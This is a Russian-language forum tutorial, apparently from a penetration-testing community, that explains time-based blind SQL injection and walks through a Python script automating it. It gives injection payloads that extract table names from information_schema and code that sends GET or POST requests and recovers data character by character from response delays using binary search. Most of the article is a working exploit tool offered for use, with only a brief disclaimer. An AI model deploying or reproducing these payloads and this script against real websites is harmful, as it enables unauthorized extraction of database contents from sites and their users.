Данная статья и программа опираются на статью многоуважаемого Паладина: Статья - Автоматизация эксплуатации слепой boolean-based SQL-инъекции при помощи WFUZZ. Выражаю ему большую благодарность за его вклад в мои знания.
Так же передаю привет и выражаю благодарность ребятам с моего потока WAPT: Жора и Даниил, без вас этот скрипт был бы не таким, какой он есть.
Дисклеймер
Ответственность за использование знаний и кода полученного в этой статье лежит на тех кто их использует.
Приступим. Для начала давайте в очередной раз разберём основополагающую теорию по SQL функциям. Нас интересуют такие функции как Sleep(), Substring(), Ascii().Функция Sleep() принимает на вход один аргумент, который является числом, и создаёт паузу в выполнении запроса, на указанное количество секунд.
В детали технической реализации со стороны sql я ещё не вдавался, да и под наши цели оно нам не нужно. Достаточно понимать, что при выполнении мы получим задержку, которая будет однозначным маркером для нас и нашей программы.
Функция Susbstring(<Строка>, <Позиция начала>, <Кол-во символов>) - возвращает нам подстроку, из переданной строки. Позиция начала - это индекс символа в строке, с которого начнётся формирование подстроки. Отсчет начинается с единицы. Для эксплуатации уязвимости, мы поочередно будем перебирать символы пока строка не закончится. Кол-во символов - это длина возвращаемой подстроки. Для наших целей всегда равно единице.
Функция Ascii(<Строка>) - получает на вход строку, а в нашем случае один символ, и переводит его в числовой код в кодировке ASCII.
Данная инъекция строится на основе сравнения символа (поочередно каждого) в строке ответа от БД, с задаваемым нами известным числовым кодом символа из ASCII.
Для нашей инъекции нам понадобится ещё одна конструкция языка SQL - IF().
IF(<Условие, возвращающее Истину или Ложь>, <Функция или значение если ответ ИСТИНА>, <Функция или значение если ответ ЛОЖЬ>)
Пример инъекции будет выглядеть следующим образом: 1' and if (id=1 and Ascii(substring(name,1,1)=99), sleep(1),0) -- -
В данном примере мы уже знаем к какому полю мы обращаемся, чтобы получить его значение. Это поле "name", которое является полем текущей таблицы, поэтому нам не понадобятся дополнительные SELECT. Следите за руками: мы задаём условие в первом аргументе функции IF : id записи равен 1, и ASCII код первого символа (substring) поля name равен 99. Если это так, то выполни функцию sleep(1), а если нет, то верни 0. И если первый символ в поле name будет строчная латинская "c", то запрос будет будет выполнен с задержкой в одну секунду, и мы об этом узнаем.
Уже здесь нам нужно перебирать числовое значение, ведь символ и его код могут быть какими угодно. Потом нам нужно будет перебирать второй аргумент функции substring() для того чтобы продвинуться от первого символа к следующим. Каждый раз руками менять запрос не очень удобно, правда?
И я так подумал, а потом призвал на помощь своего ручного питона.
Для написания программы нам понадобятся 3 стандартных и 1 сторонняя библиотеки. (Да, да. Питонисты сами ничего не могут)
Python:
import sys, requests, argparse
from datetime import timedelta
Давайте подумаем над логикой программы. Нам нужно, совершать POST или GET запросы, к уязвимому параметру. Желательно, чтобы я мог сам корректировать запрос как мне нужно. Чтобы совершать запросы мне нужны url, заголовки(не всегда), сам параметр и инъекция.
Каждый раз заходить и редактировать программу может быть утомительным, да и людям которые не пишут на питоне может быть не просто с этим разобраться.
Поэтому, мы принимаем решение запускать программу из консоли, и принимать параметры для работы оттуда же.
Для этого мы можем использовать библиотеку argparse из стандартного набора Python.
Python:
def createParser():
parser = argparse.ArgumentParser()
parser.add_argument('-u', "--url")
parser.add_argument("-q", "--query")
parser.add_argument("-d", "--data", default=None)
parser.add_argument("-H", "--headers")
return parser
Пишем функцию, которая создаст парсер, делающий всю работу по получению аргументов за нас.
Отличный разбор работы этой библиотеки доступен по вот этой ссылке:
Ссылка скрыта от гостей
Теперь, запуская программу из терминала, по ключам мы можем передать соответствующие параметры.
Т.к мы перебираем значение в поисках равенства, мы можем использовать алгоритм бинарного поиска. За идею спасибо @savindaniil.
Гуглим оригинальный алгоритм и переписываем под свои нужды:
Python:
def reqursion_find(start, end, char_index):
if start > end:
return -1
mid = (start + end) // 2
if blind_query(char_index=char_index, mid=mid, znak="="):
return mid
if blind_query(char_index=char_index, mid=mid, znak="<"):
return reqursion_find(start, mid - 1, char_index=char_index)
else:
return reqursion_find(mid + 1, end, char_index=char_index)
Дополнительных пояснений к нему даваться не будет, всё понятно для любого кто понимает принцип работы алгоритма бинарного поиска.
Мы ведь помним, что ложь или истина определяется внутри запроса SQL и генерирует задержку, да? Значит нам нужна функция, которая будет доставлять этот запрос до сервера, и интерпретировать его ответ, создавая внутреннюю Истину или Ложь в рамках нашей программы, чтобы алгоритму бинарного поиска было с чем работать.
И как вы могли догадаться имя этой функции blind_query и принимать в себя она будет аргументы необходимые для работы нашего алгоритма. Все остальные переменные будут приниматься из глобального пространства имён.
Python:
def blind_query(char_index, mid, znak):
query = namespace.query.replace("[INDEX]", str(char_index)).replace("[MID]", str(mid)).replace("[ZNAK]", znak)
if namespace.data == None:
parameter = str(namespace.url).find("FUZZ")
if parameter != -1:
resp = requests.get(url=str(namespace.url).replace("FUZZ", query), headers=headers)
else:
raise
else:
post_data[fuzz_key] = query
resp = requests.post(url=namespace.url, data=post_data, headers=headers)
requtime = resp.elapsed
resp.close()
if requtime > answer_delay:
return True
else:
return False
А вот на этой функции мы немного остановимся. Переменная query принимает в себя запрос из данных переданных в -q (об этом позже), составленных по определенным правилам. Во-первых, это валидный boolean-based sql запрос, который пропускает WAF. Во-вторых, в нём самом есть переменные, с которыми работает наш скрипт, и поэтому мы должны выделить их в сравнении с остальной строкой. [INDEX] будет принимать значения отвечающие за позицию символа в строке ответа от БД.
[ZNAK] будет принимать значения "=", ">" и "<" для реализации бинарного поиска.
[MID] будет принимать средину из диапазона поиска.
Пример запроса будет выглядеть так: 1' AND IF(ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema=database() LIMIT 0,1), [INDEX],1))[ZNAK][MID],sleep(2),NULL)-- -
Дальше, нам предстоит понять, обращаемся мы к get или же к post параметру. Я решил пойти простейшим путём который придумал. Если get, тогда в url мы указываем уязвимы параметр со всем, я думаю, известным значением FUZZ и не указываем ключ -d.
Пример: python3 BlindSQL.py -u "http://codeby.net/id=FUZZ"
Помните, при создании парсера, мы указали дефолтным значением None?
Теперь мы проверяем, передал ли пользователь пост параметры, и если да, то идём к части программы, которая совершает пост запросы.
Если нет, то мы ищем в url ключевое слово, и меняем на наш запрос, который в самом начале функции мы отредактировали в соответствии с требованиями алгоритма.
Получив ответ от сервера, программа сравнивает время ответа и эталон (который мы устанавливаем в глобально пространстве имён, об этом тоже позднее). Если время ответа больше эталона, тогда мы нашли нужный символ и функция вернёт ИСТИНУ, если меньше, то ЛОЖЬ и мы продолжаем поиски.
Для этого используется рекурсия с подменой знака и середины диапазона поиска.
Из рекурсии можно выйти в двух случаях, весь диапазон будет отработан и совпадение не будет найдено, либо мы найдём искомый символ.
Здесь мы подходим к основному телу программы.
Python:
if __name__ == "__main__":
parser = createParser()
namespace = parser.parse_args(sys.argv[1:])
answer_delay = timedelta(seconds=1)
post_data = strToDict(str(namespace.data)) #Здесь вы сами можете придумать алгоритм и способ разбора POST параметров. Скажу лишь что на выходе строка введенная в # консоль должна превратится в словарь который будет передан в POST запрос.
fuzz_key = ""
for key in post_data:
if post_data[key] == "FUZZ":
fuzz_key = key
final_str = ""
for i in range(1, 75): #Здесь мы перебираем позицию символа в строке
char = reqursion_find(32, 126, i) #Здесь мы вызываем функцию поиска, задавая диапазон числовыми кодами ascii и присваеваем результат переменной char
if char == -1: #Это строка нужна для того, чтобы цикл завершился, когда строка полученная от БД закончится.
print("work finish")
print(final_str)
break
else:
final_str += chr(int(char))
print(chr(int(char)))
В основном теле, мы разбираем переданные программе аргументы, в цикле для перебора позиции символа, вызываем рекурсивный поиск самого символа. Каждая итерация цикла возвращает нам и тут же выводит в консоль символ, уже переведенный в буквы. В конце работы, мы получаем готовую строку одним выводом.
На этом всё. Программа представленная здесь сырая, неотказоустойчивая, без адекватного вывода ошибок. TRY HARDER, BRO.
На самом деле, позднее добавлю ссылку на гитхаб проект, и напишу статью с детальным разбором кода, если кому то оно будет нужно. Данной статьи достаточно для понимания общей концепции данной автоматизации.
Последнее редактирование модератором: